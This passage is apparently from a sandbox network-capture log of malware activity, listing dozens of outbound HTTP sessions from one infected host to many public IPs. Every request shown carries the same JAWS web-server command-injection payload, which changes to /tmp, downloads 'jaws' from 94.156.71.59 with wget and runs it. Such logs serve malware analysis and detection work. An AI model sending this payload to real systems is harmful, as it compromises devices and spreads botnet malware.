Jun 10, 2024 15:38:02.225181103 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.13	55050	77.78.60.243	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.225841045 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.13	54626	134.253.9.177	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.226488113 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.13	45604	82.198.125.207	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.227236986 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.13	49684	194.172.51.155	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.227858067 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.13	48208	82.151.58.140	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.228512049 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.13	56118	53.171.149.247	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.229242086 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.13	56566	12.118.28.92	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.229897022 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.13	42362	13.177.39.90	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.230505943 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.13	41688	161.82.119.218	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.231111050 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.13	43428	46.84.188.53	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.231760025 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.13	37170	163.245.107.156	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.233253002 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.13	60900	164.62.170.48	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.233908892 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.13	33624	169.200.159.28	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.234846115 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.13	56122	32.84.255.187	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.236058950 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.13	58072	210.226.139.82	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.236761093 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.13	40702	146.240.196.221	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.237504005 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.13	51116	204.127.150.87	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.238178968 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.13	46862	206.64.82.156	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.238893032 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.13	48010	70.237.38.161	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.239619017 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.13	38658	140.7.159.132	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.240412951 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.13	55470	223.191.85.169	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.241022110 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.13	50282	78.97.49.13	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.241704941 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.13	53060	172.164.171.65	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.242403030 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.13	56706	19.71.2.182	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.243843079 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.13	55226	63.62.53.197	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.244589090 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.13	56010	12.216.25.54	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.245244980 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.13	56832	27.226.253.249	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.245858908 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.13	60392	140.40.175.146	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.247308016 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.13	52852	174.179.145.49	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.247957945 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.13	57952	123.21.144.92	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.248692036 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.13	49594	153.175.107.60	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.249310017 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.13	44254	66.136.9.144	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.250042915 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.13	33128	160.15.119.249	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.250690937 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.13	42358	100.127.78.32	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.251452923 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.13	39716	41.163.180.55	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.252100945 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.13	44368	202.69.204.2	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.252788067 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.13	56536	24.116.173.33	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.253865957 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.13	37108	35.202.251.10	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.254862070 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.13	36482	103.129.186.135	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.255539894 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.13	57332	169.89.191.129	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.256334066 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.13	51362	139.221.66.14	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.257662058 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.13	58242	107.69.148.137	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.258308887 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.13	36798	217.134.158.53	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.258958101 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.13	48706	89.247.19.145	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.259701967 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.13	33388	195.102.40.110	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.260368109 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.13	47972	37.23.114.2	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.261107922 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.13	32990	181.122.54.158	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.261737108 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.13	34602	198.106.193.191	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.262402058 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.13	39616	121.118.217.183	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.263057947 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.13	50566	23.71.76.230	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.263838053 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.13	44888	193.68.253.21	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.264600039 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.13	57046	76.19.240.75	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.265343904 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.13	55132	139.161.150.59	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.289047003 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.13	46446	146.127.201.93	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.290843964 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.13	48638	57.149.234.226	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.293186903 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.13	37022	72.176.38.52	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.295761108 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.13	48660	109.42.218.157	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.297539949 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.13	49900	204.44.180.10	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.298942089 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.13	54578	176.236.149.84	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.300493002 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.13	41090	61.254.239.187	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.301884890 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.13	52004	211.227.251.93	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.303255081 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.13	37678	148.136.36.100	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.304825068 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.13	58582	221.232.64.182	80

Timestamp	Bytes transferred	Direction	Data
